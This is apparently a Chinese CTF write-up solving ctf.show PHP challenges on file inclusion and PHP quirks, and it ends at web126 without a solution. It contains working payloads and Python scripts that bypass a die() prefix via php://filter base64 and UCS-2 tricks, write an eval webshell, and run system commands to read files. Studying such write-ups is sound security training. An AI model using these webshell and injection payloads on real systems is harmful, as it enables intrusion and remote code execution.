%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30

第二,post传参content为base64编码后的一句话木马,但注意的是前面剩下phpdie,一共6个字符,所以需要再加2个字符变8个
因为base64算法解码时是4个byte一组
content=nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg==

post发送请求后访问dotast.php发现一句话木马已经写入,可以执行命令。步骤过于繁琐,我写一个脚本来完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/21 12:29
# blog: www.wlhhlc.top
import requests

url = "http://67365af2-c5a6-4b3c-8900-25c85ed1d8cc.chall.ctf.show:8080/"
#经过两次url编码的php://filter/write=convert.base64-decode/resource=dotast.php
get_data = "%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30"
get_url = url + "?file=" + get_data
data = {
'content': 'nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg=='
}
res = requests.post(url=get_url, data=data)
shell_url = url + "dotast.php"
test = requests.get(shell_url)
if(test.status_code == 200):
print("[*]getshell成功")
shell_data = {
'pass': 'system("cat fl0g.php");'
}
result = requests.post(url=shell_url, data=shell_data)
print(result.text)

运行后即可得到flag

web88

1
2
3
4
5
6
7
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}

倒是变得简单了,过滤了php,但没过滤data,所以使用data伪协议,但因为过滤了php所以我们使用base64编码一下
payload如下

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4

web116

题目提示是lfi,也就是php本地文件包含漏洞,打开题目,是一个视频,是港片电影合集的混剪,饶有兴趣的看完了😆

直接试了一下file参数包含路径,就出来了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
function filter($x){
if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);
header('Content-Type: video/mp4');
header("Content-Length: $file");
readfile($file);
?>

直接包含flag就出来了

web117

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

这题和前面的有点类似,也是绕过contents前面的死亡代码,只是把一些可利用的协议和编码给ban了,但还可以利用其它编码器进行绕过

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str ):将字符串$strin_charset编码转换到$out_charset
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上

1
2
3
4
5
6
7
$result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[dotast]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);

//输出结果如下:
//经过一次反转:?<hp pe@av(l_$OPTSd[tosa]t;)>?
//经过第二次反转:<?php @eval($_POST[dotast]);?>

可以看到,经过两次反转之后代码又组装回来,思路就是用经过一次反转后的webshell和死亡代码<?php die();?>一起组合之后,经过第二次反转我们的webshell就恢复正常了,而死亡代码会被反转打乱不能执行
所以payload也就出来了,把前面的脚本改一下即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/21 12:29
# blog: www.wlhhlc.top
import requests

url = "http://8a412388-9727-4ea0-8b0d-1f144f2d1a87.chall.ctf.show:8080/"
get_data = "php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=dotast.php"
get_url = url + "?file=" + get_data
data = {
'contents': '?<hp pe@av(l_$OPTSd[tosa]t;)>?'
}
res = requests.post(url=get_url, data=data)
shell_url = url + "dotast.php"
test = requests.get(shell_url)
if(test.status_code == 200):
print("[*]getshell成功")
shell_data = {
'dotast': 'system("cat flag.php");'
}
result = requests.post(url=shell_url, data=shell_data)
print(result.text)

运行后得到flag

php特性(89-115&123&125-150)

web89

1
2
3
4
5
6
7
8
9
10
11
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

intval() 函数用于获取变量的整数值。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

首先第一个if判断有无参数num,第二个if正则匹配有没有数字,第三个if如果能为1的话,就可执行if里的语句,而intval函数用于object时会发生错误并返回1,所以payload为

1
?num[]=1

web90

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

继续考察intval的使用,多补充点知识

int intval ( mixed $var [, int $base = 10 ] )

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

所以把4476转换成16进制,payload为

1
?num=0x117c 

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

第一个if需要匹配到php,而第二个if如果匹配到php就会输出hacker,绕过需要不让它匹配到,这里有一个正则匹配的知识点

/i表示匹配大小写
字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾
/m 多行匹配 若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配
但是当出现换行符 %0a的时候,$cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾

所以paylaod为

1
2
3
?cmd=%0aphp
或者
?cmd=php%0a%0a

web92

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

额,和90题一样,只是变成弱比较,一样使用十六进制绕过

1
?num=0x117c

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

过滤了字母,那我们直接用小数点即可(利用php浮点数不能直接比较相等的特性),或者8进制也行

1
?num=4476.1

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

这次变成强比较,并且多加了一个strpos函数

strpos() 函数查找字符串在另一字符串中第一次出现的位置

1
strpos(string,find,start)
参数描述
string必需。规定要搜索的字符串。
find必需。规定要查找的字符串。
start可选。规定在何处开始搜索。

返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

注释:字符串位置从 0 开始,不是从 1 开始。

因为八进制需要开头指定为0,而strpos()会匹配到返回0,!0也就是1得执行die,我们可以在前面加个空格,这样strpos()会返回1,所以我们把4476转换为8进制10574后,前面再加一个空格即可,paylaod为

1
?num= 010574

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}

换成弱比较了,一样使用上题payload

1
?num= 010574

web96

1
2
3
4
5
6
7
8

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

读取文件,参数不等于flag.php,那直接加个./即可,有多种办法,php伪协议也可

1
?u=./flag.php

web97

1
2
3
4
5
6
7
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

强比较md5类型题目,我刚好做过这个题型总结,师傅们可以去我的这篇文章看看https://www.wlhhlc.top/posts/16813/
md5函数处理数组舒服会返回NULL,两个NULL即相等
paylaod为

1
2
post:
a[]=1&b[]=2

web98

1
2
3
4
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

这里是三目运算符和取地址,第二行和第三行是无用的,因为用不到,所以我们分析一下第一行和第四行

第一行:如果存在get传参,则把post传参地址给get,可以简单理解为post覆盖了get
第四行,如果get参数HTTP_FLAG的值为flag,就读取文件,也就是输出flag

所以思路也就出来了,payload为

1
2
3
4
?1=2

post:
HTTP_FLAG=flag

web99

1
2
3
4
5
6
7
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

看一下代码,流程主要是先创建一个数组,接着往数组里添加rand()函数产生的随机数;
第二个if判断是否存在get参数n,并且用in_array()在数组里搜索值
最后用file_put_contents函数写数据到文件中

in_array() 函数搜索数组中是否存在指定的值

1
in_array(search,array,type)
参数描述
search必需。规定要在数组搜索的值。
array必需。规定要搜索的数组。
type可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。

说明

如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。

如果没有在数组中找到参数,函数返回 false。

注释:如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。

这里in_array()函数在没有第三个值得时候会进行弱比较,也就是存在强制转换,即123.php此时会被转换为123,所以payload如下



我喜欢用脚本跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/23 18:43
# blog: www.wlhhlc.top
import requests
url = "http://5922e022-e938-4ec4-905f-0ccd7cf07cdf.chall.ctf.show:8080/"
w_url = url + "?n=123.php"
data1 = {
'content': '<?php @eval($_POST[dotast]);?>'
}
get_shell = requests.post(url=w_url, data=data1)
shell_url = url + "123.php"
get_test = requests.get(url=shell_url)
if(get_test.status_code==200):
print("写入shell成功")
data2={
'dotast': 'system("cat flag36d.php");'
}
res = requests.post(url=shell_url, data=data2)
print(res.text)

运行后即可得到flag

web100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}

一共需要传三个get参数,然后$vo是对三个参数的与的结果,了解一下s_numeric()函数

is_numeric() 函数用于检测变量是否为数字或数字字符串
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE

看到最后eval,肯定是需要命令执行,这需要$v2传入命令,$v3需要;结尾,但这么一来就变成了

1
$vo = $v1 and FALSE and FAlse

但php有运算的优先级,也就是&&> = > and

1
$a = true and false;

按照运算优先级,先执行=也就是赋值给$a为true,false就被忽略了,思路也就有了,paylaod为

1
?v1=1&v2=system("tac ctfshow.php")&v3=;


得到$flag_is_1ce376300x2d8dc70x2d4b870x2d9f0e0x2d1eea5dada15;,其中0x2d需要替换成-

1
1ce37630-8dc7-4b87-9f0e-1eea5dada15

然而一共35位还少了一位,最后一位需要不断提交flag爆破,0-9a-f一共试最多16次即可得到flag,我试到第六次提交成功😭

1
ctfshow{1ce37630-8dc7-4b87-9f0e-1eea5dada156}

web101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}

在上一题基础上多进行了过滤,所以上题payload无法使用,查了一下资料,发现还有类反射的知识点

PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
$class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类
$instance = $class->newInstanceArgs($args); // 相当于实例化ctfshow类

paylaod为

1
?v1=1&v2=echo new ReflectionClass&v3=;

也要像上题一样改掉0x2d和最后一位进行爆破

web102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}

首先继续了解几个函数

is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true

call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数

file_put_contents() 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容

首先,get传参v2和v3,post传参v1;if中需要v4为真才能往下执行,而v4要为真就是v2传的参数要为数字或者数字字符串,同时v2也是我们要写入的webshell
为了让v2为数字或者数字字符串,我们可以先把我们的webshell转换为base64编码,再把base64编码转换为16进制,这是一种办法去转换成数字

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$b = base64_encode('<?=`tac *`;');
$b = str_replace("=","",$b);
echo "base64加密后:".$b."\n";
$a = call_user_func('bin2hex',$b);
echo "16进制形式:".$a."\n";
var_dump(is_numeric($a));

/*运行结果
base64加密后:PD89YHRhYyAqYDs
16进制形式:504438395948526859794171594473
bool(true)
*/

说明:<?=是php的短标签,是echo()的快捷用法
还有一点,就是substr()取得是从下标为2开始的字符串,我们在前面加00两位数
所以payload为

1
2
3
4
?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php

post:
v1=hex2bin

解着再访问dotast.php即可得到flag

web103

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

和上题一样的思路,payload继续用上题的

1
2
3
4
?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php

post:
v1=hex2bin

web104

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}

倒是变得简单了,考的sha1函数特性,sha1()函数无法处理数组类型,会返回NULL,if条件就成立了,所以paylaod为

1
2
3
4
?v2[]=

post:
v1[]=

web105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

这里利用的是变量覆盖,关键点在$$key=$$value,这里把$key的值当作了变量

1
例如 $key=flag  则$$key=$flag

这里一共有三个变量,$error、$suces和$flag;这里通过die($error)或者die($suces)都可以输出flag,所以有两个paylaod
第一种:
通过die($error)输出flag,首先我们把$flag的值传给$dotast,接着再把$dotast的值传给$error,于是$error的值就是flag,再通过if判断die输出就是flag
例如$flag=ctfshow{xxxxx},?dotast=flag,通过第一个for循环,也就是$dotast=$flag,$dotast=ctfshow{xxxxx},接着再通过第二个for循环,$error=$dotast,此时$error=ctfshow{xxxxx}

1
2
3
4
?dotast=flag

post:
error=dotast

第二种:
通过die($suces)输出flag,首先我们把flag的值传给suces变量,接着再把flag的值给置空,已达到下面if条件为0不执行的目的,往下执行,die($suces)即可把flag输出

1
?suces=flag&flag=

web106

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}

又回归到sha1()函数的问题,这次在前面多加了一个判断$v1 != $v2,我们就给他们赋值不同就好了,payload如下

1
2
3
4
?v2[]=1

post:
v1[]=2

web107

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}

首先需要传一个get参数v3和一个post参数v1,注意到一个函数parse_str()

1
parse_str(string,array)
参数描述
string必需。规定要解析的字符串。
array可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。

举例

1
2
3
4
5
6
7
8
9
$a = "name=dotast&age=666";
parse_str($a,$b);
echo $b['name']."\n";
echo $b['age'];

#输出结果
//dotast
//666

所以paylaod为

1
2
3
4
?v3=dotast

post:
v1=flag=208f1b1289da972682cbc81c8684fcc8

web108

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

首先了解一下几个函数

ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的

strrev() 函数反转字符串。

intval() 函数用于获取变量的整数值

首先需要知道%00可以截断ereg()函数的搜索,正则表达式只会匹配%00之前的内容;0x36d的十进制内容为877,我们需要字母在前来满足if条件的正则匹配来跳过if语句,接着再进行字符串的反转得到877a,接着intval()函数取整数部分得到877
所以paylaod为

1
?c=a%00778

web109

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}

这里传入两个参数,并且都需要有字母,我们用php内置类让v1不进行报错,v2执行我们的命令就好了

Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类

ReflectionClass 或者 ReflectionMethod 都为常用的反射类,可以理解为一个类的映射

所以payload如下

1
2
3
4
5
?v1=Exception&v2=system('tac fl36dg.txt')
或者
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
或者
?v1=ReflectionMethod&v2=system('tac fl36dg.txt')

web110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");
}
?>

这里正则进行了匹配,我们可以使用FilesystemIterator文件系统迭代器来进行利用,通过新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构,payload为

1
?v1=FilesystemIterator&v2=getcwd


发现有fl36dga.txt,接着再访问即可得到flag

web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}

这次依然考点在于变量覆盖(知识点忘记的话去温习一下web105),首选需要v1含有ctfshow才能过正则,执行getflag函数,所以v1=ctfshow,接着再getflag函数里,会把v2的地址传给v1,接着再输出v1,这里我们可以使用php里的全局变量GLOBALS

$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

所以payload为

1
?v1=ctfshow&v2=GLOBALS

过程就是$ctfshow=&$GLOBALS(全局变量中会含有flag的变量),接着再通过var_dump输出$ctfshow

web112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

首先了解几个函数

is_file() 函数检查指定的文件名是否是正常的文件

filter() 函数用于对来自非安全来源的数据(比如用户输入)进行验证和过滤

这里首先if语句里需要我们传入的不是文件类型才能执行highlight_file语句来读取flag文件,也就是一个绕过的考点,我们使用php伪协议即可,所以payload为

1
?file=php://filter/resource=flag.php

web113

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

在上一题基础上过滤了filter,那我们换另一个协议,使用压缩流zlib://
官方php文档地址:https://www.php.net/manual/zh/wrappers.compression.php
所以paylaod为

1
?file=compress.zlib://flag.php

web114

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

这次把compress过滤了,但没过滤filter,和web112一样的做法,paylaod为

1
?file=php://filter/resource=flag.php

web115

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

这里用了is_numeric来判断是不是数字,并且if条件里规定trim($num)移除字符串两侧的字符不能等于36,但后面的if需要等于36才能输出flag,而且自定义函数filter也把16进制和8进制等等封死了,我们写个脚本看看有什么字符可以利用

1
2
3
4
5
6
7
<?php
for ($i = 0; $i <= 128; $i++) {
$a = chr($i) . '36';
if (trim($a) !== '36' && is_numeric($a)) {
echo urlencode(chr($i)) . "\n";
}
}

发现%0C,也就是\f分页符可以利用,不会被trim过滤掉,所以paylaod为

1
?num=%0c36

web123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

看到后面有个eval()函数会执行$c,所以我们就关注$c和if判断需要的两个post即可
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换,所以payload为

1
2
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

web125

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

在上一题基础上过滤了flag和echo关键字,我们可以用highlight_file来显示文件,因为flag被在post中被ban了,我们通过get来传参,所以payload为

1
2
3
4
?dotast=flag.php

post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[dotast])

web126

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

